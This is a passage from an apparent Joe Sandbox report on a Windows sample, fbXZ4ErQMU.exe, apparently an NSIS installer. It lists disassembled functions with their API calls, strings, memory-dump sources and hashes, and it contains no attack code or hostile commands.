Instruction ID: 2ccb2bf8dd744840d543bbc1a34bde763c5e5f86f0f2c8118c993f85f4779e4e
Opcode Fuzzy Hash: bb326c4fff2569f995f741f5889aaa438d16cb529eb983989e6eb254c782141b
Instruction Fuzzy Hash: 39310531600B15ABC2206B659D48F6B3A5CDF45755F14043BB981F62C2DF7CE9028AFD

Function 004063D2 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\fbXZ4ErQMU.exe",75A53410,C:\Users\user\AppData\Local\Temp\,00000000,00403323,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040355A,?,00000007,00000009,0000000B), ref: 0040642A
CharNextA.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 00406437
CharNextA.USER32(?,"C:\Users\user\Desktop\fbXZ4ErQMU.exe",75A53410,C:\Users\user\AppData\Local\Temp\,00000000,00403323,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040355A,?,00000007,00000009,0000000B), ref: 0040643C
CharPrevA.USER32(?,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000,00403323,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040355A,?,00000007,00000009,0000000B), ref: 0040644C

Strings

*?|<>/":, xrefs: 0040641A
C:\Users\user\AppData\Local\Temp\, xrefs: 004063D3
"C:\Users\user\Desktop\fbXZ4ErQMU.exe", xrefs: 0040640E

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\fbXZ4ErQMU.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3900762807
Opcode ID: 6d9cd5a565d063f7c871d931481108c2ccc59b6be6080685bd61ccbc84ff8956
Instruction ID: ed52d7626cbd5fe55056ecced6ac67fd73520a103458dc51ec5e44788bc33e0d
Opcode Fuzzy Hash: 6d9cd5a565d063f7c871d931481108c2ccc59b6be6080685bd61ccbc84ff8956
Instruction Fuzzy Hash: 6B1104518047A169FB3207380C40B7B7F888B97764F1A447FE8C6722C2C67C5CA796AD

Function 004041E2 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 004041FF
GetSysColor.USER32(00000000), ref: 0040423D
SetTextColor.GDI32(?,00000000), ref: 00404249
SetBkMode.GDI32(?,?), ref: 00404255
GetSysColor.USER32(?), ref: 00404268
SetBkColor.GDI32(?,?), ref: 00404278
DeleteObject.GDI32(?), ref: 00404292
CreateBrushIndirect.GDI32(?), ref: 0040429C

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: dc1d3e55db8ec23378b3830e5d111dcc895b5f12cd74b581ce4b7be4d8059b2f
Instruction ID: 212a8ad98d70f233ee07b83b669a1ba7ccffb4b50a3226e4c630c70d8ffb5278
Opcode Fuzzy Hash: dc1d3e55db8ec23378b3830e5d111dcc895b5f12cd74b581ce4b7be4d8059b2f
Instruction Fuzzy Hash: 3B2165716007059BCB309F78DD08B5BBBF4AF85750B04896EFD96A22E0C738E814CB54

Function 700524D8 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 70051215: GlobalAlloc.KERNEL32(00000040,70051233,?,700512CF,-7005404B,700511AB,-000000A0), ref: 7005121D

GlobalFree.KERNEL32(?), ref: 700525DE
GlobalFree.KERNEL32(00000000), ref: 70052618

Memory Dump Source

Source File: 00000000.00000002.53321356153.0000000070051000.00000020.00000001.01000000.00000005.sdmp, Offset: 70050000, based on PE: true

Associated: 00000000.00000002.53321293003.0000000070050000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321420725.0000000070053000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321477933.0000000070055000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70050000_fbXZ4ErQMU.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 496f8b1c1bc1b0be3293edc5831d9b5d8ff0147752cc62c5b5197a7966487781
Instruction ID: 4b3552b7f0b4c4462736b99a94dacb5ba4e3fd9a31d6da382e35c4176e9e811e
Opcode Fuzzy Hash: 496f8b1c1bc1b0be3293edc5831d9b5d8ff0147752cc62c5b5197a7966487781
Instruction Fuzzy Hash: 9D41AE72104600EFE7168F65CCA8D6E77BAEF86A34B20452DF642D6260E731AD08DB61

Function 0040521E Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0042A070,00000000,00424248,75A523A0,?,?,?,?,?,?,?,?,?,00403233,00000000,?), ref: 00405257
lstrlenA.KERNEL32(00403233,0042A070,00000000,00424248,75A523A0,?,?,?,?,?,?,?,?,?,00403233,00000000), ref: 00405267
lstrcatA.KERNEL32(0042A070,00403233,00403233,0042A070,00000000,00424248,75A523A0), ref: 0040527A
SetWindowTextA.USER32(0042A070,0042A070), ref: 0040528C
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052B2
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004052CC
SendMessageA.USER32(?,00001013,?,00000000), ref: 004052DA

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: ffc7fd16b0850e8ca78275056b27aa311aff222ca9cd1cb1225c1906ca535124
Instruction ID: 52f605d016cfd88bb70700c5a478074e15cc738f975766ab4ed8c3314b346ff2
Opcode Fuzzy Hash: ffc7fd16b0850e8ca78275056b27aa311aff222ca9cd1cb1225c1906ca535124
Instruction Fuzzy Hash: C721AC71900518BBDF119FA5DD8599FBFA8EF04354F1480BAF804B6291C7798E50CF98

Function 00404ACE Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404AE9
GetMessagePos.USER32 ref: 00404AF1
ScreenToClient.USER32(?,?), ref: 00404B0B
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404B1D
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404B43

Strings

f, xrefs: 00404B1F

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: fae6ee4ef260730fd0e6baeb46c05ac4d0d99299cd6b7910a3b5b88b2e21feb9
Instruction ID: cdc5f22e578355ebae6afd16dcadc4be4e42c2ab1ff41a6041c2d58f87c209b7
Opcode Fuzzy Hash: fae6ee4ef260730fd0e6baeb46c05ac4d0d99299cd6b7910a3b5b88b2e21feb9
Instruction Fuzzy Hash: 33014C71900219BADB01DBA4DD85BFEBBBCAF55715F10012ABA40B61D0D6B4A9018BA4

Function 00402DBA Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DD5
MulDiv.KERNEL32(000DAA48,00000064,000DC030), ref: 00402E00
wsprintfA.USER32 ref: 00402E10
SetWindowTextA.USER32(?,?), ref: 00402E20
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402E32

Strings

verifying installer: %d%%, xrefs: 00402E0A

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 79fc7e6e1ca0acae8e9a75e18e021abc494deab029f93f770ff90eafb88ab8ab
Instruction ID: 65898b716c6b5e3943ed5d7f8865a7929710e3ce64d80c757a7a8fa3a9c1cc58
Opcode Fuzzy Hash: 79fc7e6e1ca0acae8e9a75e18e021abc494deab029f93f770ff90eafb88ab8ab
Instruction Fuzzy Hash: BD01FF70640209FBEF20AF60DE4AEEE3769AB14345F008039FA06A51D0DBB59D55DB59

Function 700522F1 Relevance: 9.1, APIs: 6, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 70052447

Part of subcall function 70051224: lstrcpynA.KERNEL32(00000000,?,700512CF,-7005404B,700511AB,-000000A0), ref: 70051234

GlobalAlloc.KERNEL32(00000040,?), ref: 700523C2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 700523D7
GlobalAlloc.KERNEL32(00000040,00000010), ref: 700523E8
CLSIDFromString.OLE32(00000000,00000000), ref: 700523F6
GlobalFree.KERNEL32(00000000), ref: 700523FD

Memory Dump Source

Source File: 00000000.00000002.53321356153.0000000070051000.00000020.00000001.01000000.00000005.sdmp, Offset: 70050000, based on PE: true

Associated: 00000000.00000002.53321293003.0000000070050000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321420725.0000000070053000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.53321477933.0000000070055000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70050000_fbXZ4ErQMU.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: fbe8301c6ab94c5298a5d98807ea82f49dde6e70f7ea9a70413b2b4a2e963efa
Instruction ID: c3d5cfdb4ae9a42a9604fbb5f16cc0720bcea92b19c9c9a596843fa3b930657d
Opcode Fuzzy Hash: fbe8301c6ab94c5298a5d98807ea82f49dde6e70f7ea9a70413b2b4a2e963efa
Instruction Fuzzy Hash: BF415772504300EFE7219F20C844F6EB7E9FF41B31F20481AF546C6291D774AA488BA1

Function 004027DF Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402833
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 0040284F
GlobalFree.KERNEL32(?), ref: 0040288E
GlobalFree.KERNEL32(00000000), ref: 004028A1
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 004028B9
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004028CD

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: e200f0a06a1b791de6fcd90df19bdd9ae0c902d0d002ce7977cb24af33c736ef
Instruction ID: 50ad9526884773a844389ca9465edd1da2989015e588fa45899e7f45ead5980e
Opcode Fuzzy Hash: e200f0a06a1b791de6fcd90df19bdd9ae0c902d0d002ce7977cb24af33c736ef
Instruction Fuzzy Hash: 78216D72800128BBDF217FA5CE49D9E7A79EF09364F24423EF550762D1CA794D418FA8

Function 00401D65 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D7E
GetClientRect.USER32(?,?), ref: 00401DCC
LoadImageA.USER32(?,?,?,?,?,?), ref: 00401DFC
SendMessageA.USER32(?,00000172,?,00000000), ref: 00401E10
DeleteObject.GDI32(00000000), ref: 00401E20

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 64047181dbb11954f6248d6d4ebce6329301936260590e1bb013e11241bca830
Instruction ID: ea2313c62ec258575502bac7b5a91221d1b2f7c42d1e166e88532b570a834240
Opcode Fuzzy Hash: 64047181dbb11954f6248d6d4ebce6329301936260590e1bb013e11241bca830
Instruction Fuzzy Hash: 02212872A00109AFCB15DFA4DD85AAEBBB5EB48300F24417EF905F62A1DB389941DB54

Function 004049C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0042A890,0042A890,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004048DF,000000DF,00000000,00000400,?), ref: 00404A62
wsprintfA.USER32 ref: 00404A6A
SetDlgItemTextA.USER32(?,0042A890), ref: 00404A7D

Strings

%u.%u%s%s, xrefs: 00404A4C

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 5f94da5c7593bdf0e2880c0754fbf5196b9ea6ae0f0d3d8572f030c1a72350cb
Instruction ID: 22449cd78037b5055574fdfa12b268b27ceb02c465c900d7a820e94443fbddbc
Opcode Fuzzy Hash: 5f94da5c7593bdf0e2880c0754fbf5196b9ea6ae0f0d3d8572f030c1a72350cb
Instruction Fuzzy Hash: 1911E773A041243BDB00A56D9C41EAF3298DF81374F260237FA26F71D1E979CC1246A9

Function 00405A8F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403335,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040355A,?,00000007,00000009,0000000B), ref: 00405A95
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403335,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040355A,?,00000007,00000009,0000000B), ref: 00405A9E
lstrcatA.KERNEL32(?,0040A014,?,00000007,00000009,0000000B), ref: 00405AAF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A8F

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 7e3bd0a74015a4b4c7bd8f32b9337ec82444728bd267b6e5413a6877d2367a50
Instruction ID: 6078a555604e81c1816c45b3e60b5c3e7c31ed84b02af53c952a19e53ba35867
Opcode Fuzzy Hash: 7e3bd0a74015a4b4c7bd8f32b9337ec82444728bd267b6e5413a6877d2367a50
Instruction Fuzzy Hash: 68D0A7B26055307AE21126155C06ECB19488F463447060066F500BB193C77C4C114BFD

Function 00402E3D Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040301B,00000001), ref: 00402E50
GetTickCount.KERNEL32 ref: 00402E6E
CreateDialogParamA.USER32(0000006F,00000000,00402DBA,00000000), ref: 00402E8B
ShowWindow.USER32(00000000,00000005), ref: 00402E99

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 8c1e1bd8efa9ab411d4161537fee885c8283498bc89c51da2617a800704498c9
Instruction ID: cc5f9dcce599e9be0c1e5b41ef6f72156ec830c1ee92694e4cf82ced2ffe4824
Opcode Fuzzy Hash: 8c1e1bd8efa9ab411d4161537fee885c8283498bc89c51da2617a800704498c9
Instruction Fuzzy Hash: B6F05E30A45630EBC6317B64FE4CA8B7B64BB44B45B91047AF045B22E8C6740C83CBED

Function 00405B7D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004060F7: lstrcpynA.KERNEL32(?,?,00000400,0040341A,hyaenic Setup,NSIS Error,?,00000007,00000009,0000000B), ref: 00406104

Part of subcall function 00405B28: CharNextA.USER32(?,?,0042BC98,?,00405B94,0042BC98,0042BC98,75A53410,?,C:\Users\user\AppData\Local\Temp\,004058DF,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405B36
Part of subcall function 00405B28: CharNextA.USER32(00000000), ref: 00405B3B
Part of subcall function 00405B28: CharNextA.USER32(00000000), ref: 00405B4F

lstrlenA.KERNEL32(0042BC98,00000000,0042BC98,0042BC98,75A53410,?,C:\Users\user\AppData\Local\Temp\,004058DF,?,75A53410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405BD0
GetFileAttributesA.KERNEL32(0042BC98,0042BC98,0042BC98,0042BC98,0042BC98,0042BC98,00000000,0042BC98,0042BC98,75A53410,?,C:\Users\user\AppData\Local\Temp\,004058DF,?,75A53410,C:\Users\user\AppData\Local\Temp\), ref: 00405BE0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B7D

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3355392842
Opcode ID: e638d3577084fc0f37fd401aa5ef1a5930802456fef8e272e5ea6ea3ca1dc2da
Instruction ID: a7953992a1868a2a025aeaadbe30fe94b9837340da5d1ec43b16535858986a89
Opcode Fuzzy Hash: e638d3577084fc0f37fd401aa5ef1a5930802456fef8e272e5ea6ea3ca1dc2da
Instruction Fuzzy Hash: 6DF02821105E6116D222323A1C05AAF3A74CE82364715013FF862B22D3CF7CB9139DBE

Function 00405192 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004051C1
CallWindowProcA.USER32(?,?,?,?), ref: 00405212

Part of subcall function 004041C7: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 004041D9

Strings

, xrefs: 004051A2

Memory Dump Source

Source File: 00000000.00000002.53290861252.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.53290796457.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290912782.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53290961705.0000000000455000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.53291232127.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fbXZ4ErQMU.jbxd

Similarity

